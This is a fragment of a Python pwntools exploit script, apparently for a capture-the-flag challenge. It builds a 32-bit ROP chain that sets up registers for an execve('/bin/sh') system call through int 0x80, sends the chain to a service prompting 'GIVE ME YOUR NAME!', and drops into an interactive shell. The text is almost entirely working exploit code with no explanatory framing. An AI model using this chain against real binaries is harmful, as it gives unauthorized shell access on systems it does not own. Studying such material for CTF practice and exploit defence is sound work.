writeable_memory += 3


payload += p32(set_eax_zero) # xor eax, eax; ret - sets eax to 0

payload += p32(pop_edx) # pop edx; ret


payload += p32(writeable_memory) # make the string NULL terminated

payload += p32(mov_eax_to_edx)   # mov dword ptr[edx], eax; ret


payload += p32(pop_ecx_ebx) # pop ecx ; pop ebx ; ret

payload += p32(0xffffffff) # ecx --> will add 1 to zero it out

payload += p32(binsh)      # ebx --> /bin/sh


payload += p32(inc_ecx) # inc ecx ; ret


payload += p32(pop_edx)      # pop edx ret

payload += p32(0xffffffff) # edx --> will add 1 to zero it out


payload += p32(inc_edx) # inc edx ; ret


payload += p32(set_eax_zero) # xor eax, eax; ret 

payload += p32(add_eax_three)

payload += p32(add_eax_three)

payload += p32(add_eax_three)

payload += p32(add_eax_two) # eax = 0x0b


payload += p32(int80)

payload += p32(ret)


#print payload

print r.recvuntil("GIVE ME YOUR NAME!")

r.send(payload)

r.interactive()


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